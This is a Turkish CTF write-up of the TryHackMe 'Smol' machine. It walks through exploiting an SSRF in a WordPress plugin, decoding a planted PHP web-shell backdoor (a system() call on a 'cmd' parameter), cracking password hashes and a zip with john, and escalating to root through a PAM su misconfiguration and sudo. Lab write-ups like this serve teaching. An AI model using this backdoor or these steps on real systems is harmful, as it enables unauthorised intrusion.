Post

TryHackMe | Smol WriteUp

TryHackMe | Smol WriteUp

Özet

Smol, zafiyetli bir eklentiye sahip orta seviye linux bir makinedir. Öncelikle eklentide bulunan SSRF zafiyetinden yararlanarak kullanıcı bilgilerini alacağız. Daha sonra bulduğumuz bir yönergeyi takip ederek sistemden shell elde edeceğiz. Sisteme girdikten sonra ise dört kullanıcı arasında sırasıyla geçiş yapacak, en son ise sudo haklarımızdan yararlanarak yetki yükselteceğiz.

Makine hakkında ek bilgiler

  • WordPress içerik yönetim sistemi kullanılıyor.
  • Zafiyetli bir eklenti kullanılıyor.
  • Eklentilerin içerisinde bir yerde arka kapı bulunuyor.
  • GPU’su olmayan bilgisayarlarda john’un hashcat’ten daha hızlı olduğu yazıyor. Kısaca hash kırma işleminin uzun süreceğini söylüyor.

Keşif aşaması

Nmap taraması

1
2
3
4
5
6
7
8
9
10
11
$ nmap -sSVC -T4 10.10.240.79
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://www.smol.thm
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80 numaralı portun incelenmesi

Kullanılan zafiyetli eklentiyi tespit etmek için wpscan aracını kullanmaya karar verdim.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ wpscan --url http://www.smol.thm/ -e p
[i] Plugin(s) Identified:

[+] jsmol2wp
 | Location: http://www.smol.thm/wp-content/plugins/jsmol2wp/
 | Latest Version: 1.07 (up to date)
 | Last Updated: 2018-03-09T10:28:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.07 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt

Tarama sonucunda jsmol2wp adında bir eklenti kullandığını öğreniyoruz. Eklentiyi internette arattığımızda bu github sayfası ile karşılaşıyoruz.

Sömürü aşaması

Burada eklentinin jsmol.php sayfasında hem XSS hem de SSRF zafiyetinin barındığı yazıyor. Query parametresinin etkilendiği bu uzantıyı alıp hedef uygulamanın sonuna ekliyorum.

Böylece config dosyasındaki veri tabanı bilgilerini almış olduk. Bu bilgileri kullanarak panele giriş yapabiliyorum.

Panelde eklentiler ve temalar sayfası bulunmuyor. Sayfalar kategorisini seçtiğimde ise Webmaster Tasks!! adında bir yazı ile karşılaşıyorum.

Eklentilerin birinde gizli bir arka kapı olduğu bilgisi verilmişti zaten. Burada o eklentinin “Hello Dolly” olduğu yazıyor. Biraz önce bulduğumuz SSRF zafiyeti ile eklentinin kaynak kodunu görüntüleyelim.

Gördüğünüz üzere önce base64 ile kodlanmış veriyi çözüyor daha sonra ise eval fonksiyonu ile çalıştırıyor. Kodlanmış bu veriyi chepy aracı ile çözdükten sonra cmd parametresini kullanarak sistemde komut çalıştırabileceğimizi görüyoruz

1
2
3
4
5
6
$chepy "CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA="
>>> from_base64
 if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); } 
>>> unicode_to_str
 if (isset($_GET["cmd"])) { system($_GET["cmd"]); } 
>>>

Parametreyi kullanarak sistemden shell elde etmek için eklentinin bulunduğu sayfaya yöneldim ama komutu gönderdiğimde herhangi bir tepki vermedi. Haliyle komut çalıştırabilmek için bu eklentinin kullanıldığı bir alan bulmamız gerektiğini düşündüm. Ana sayfaya tekrar döndüğümde sağ kısımda şiirden bir parça gördüm ve ana sayfada kullanıldığını düşünerek parametreyi ekledim.

Komut çalıştırabildiğimize göre sistemden bir shell alabiliriz.

Bağlantı geldikten sonra kullanıcıları görmek için /home dizinine gittim. Hiçbir kullanıcı dizinini görüntüleme yetkimiz yok. Ayrıca tüm kullanıcılar “internal” grubuna dahil edilmiş. Bir şekilde bu gruba dahil olursak tüm kullanıcı dizinlerini gezebiliriz.

1
2
3
4
5
6
7
8
www-data@smol:/var/www/wordpress/wp-admin$ ls -la /home
total 24
drwxr-xr-x  6 root  root     4096 Aug 16  2023 .
drwxr-xr-x 18 root  root     4096 Mar 29  2024 ..
drwxr-x---  2 diego internal 4096 Aug 18  2023 diego
drwxr-x---  2 gege  internal 4096 Aug 18  2023 gege
drwxr-x---  5 think internal 4096 Jan 12  2024 think
drwxr-x---  2 xavi  internal 4096 Aug 18  2023 xavi

Yetki yükseltme

diego

Öncelikle wp-config.php dosyasındaki bilgileri kullanarak veri tabanına giriş yaptım. wp_user tablosundaki hashleri ve kullanıcı adlarını alıp bir dosyaya yazdım. Daha sonra bu hashleri kırması için john aracını kullandım.

Karşılaştırma işlemi devam ederken diego kullanıcısının parolasını buldu. Diego kullanıcısına geçiş yapıp kendi dizininden ilk bayrağı alıyorum.

think

internal grubuna girdiğimize göre diğer kullanıcıların dizinlerini gezebiliriz.

1
2
3
4
5
6
7
diego@smol:/home/gege$ ls -la
...
-rwxr-x--- 1 root gege     32266546 Aug 16  2023 wordpress.old.zip
diego@smol:/home/think$ ls -la
...
drwxr-xr-x 2 think think    4096 Jun 21  2023 .ssh
...

gege kullanıcısının dizininde wordpress.old.zip dosyası bulunuyor ama yetkimiz dışında. think kullanıcısının dizininde ise .ssh dizini bulunuyor. Buradaki id_rsa dosyasını kullanarak think kullanıcısına geçiş yapıyorum.

1
2
$ chmod 600 id_rsa
$ ssh think@10.10.240.79 -i id_rsa

gege

Sistemde uzun bir süre gezdikten sonra think kullanıcısının parola kullanmadan gege kullanıcısına geçiş yapabileceğini öğrendim.

1
2
3
4
5
think@smol:/etc/pam.d$ cat su
...                                                                                                                                                 
auth  [success=ignore default=1] pam_succeed_if.so user = gege
auth  sufficient                 pam_succeed_if.so use_uid user = think
...

/etc/pam.d dizini sistemdeki doğrulamalar için kullanılan yapılandırma dosyalarını barındıyor. Bunlardan biri olan su dosyasının düzenlendiğini görüyoruz.

1
2
3
4
think@smol:/etc/pam.d$ su gege
gege@smol:/etc/pam.d$ cd
gege@smol:~$ ls
wordpress.old.zip

xavi

Kullanıcı değişiminden sonra zip dosyasını çıkarmak için /home/gege dizine gittim ama parola koruması olduğu için dosyayı çıkaramadım. Bu zip dosyasını kırmak için önce kendi sistemime indirdim. Daha sonra zip2john wordpress.old.zip > hash komutu ile kırılabilir bir formata çevirdim ve john aracını çalıştırdım

1
2
3
4
5
6
$ cat hash 
wordpress.old.zip:$pkzip$8*1*1*0*0*24*a31c*c2fb90b39...
$ sudo john hash -w=Desktop/rockyou.txt
...
*** (wordpress.old.zip)
...

Zip dosyasını çıkartıp içerisindeki config dosyasını açtığımızda xavi kullanıcısının parolasını görüyoruz.

1
2
3
4
5
/** Database username */
define( 'DB_USER', 'xavi' );

/** Database password */
define( 'DB_PASSWORD', '***' );

root

xavi kullanıcısına geçiş yaptıktan sonra sudo haklarımızı görüntülediğimizde herhangi bir komutu herhangi bir kullanıcı olarak çalıştırabileceğimizi görüyoruz ve sudo su komutunu kullanarak en yetkili hesaba geçiş yapıyoruz.

1
2
3
4
5
6
7
8
9
10
11
12
xavi@smol:~$ sudo -l
[sudo] password for xavi: 
Matching Defaults entries for xavi on smol:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User xavi may run the following commands on smol:
    (ALL : ALL) ALL
xavi@smol:~$ sudo su
root@smol:/home/xavi$ ls /root
...
-rw-r-----  1 root root   33 Aug 16  2023 root.txt
...
This post is licensed under CC BY 4.0 by the author.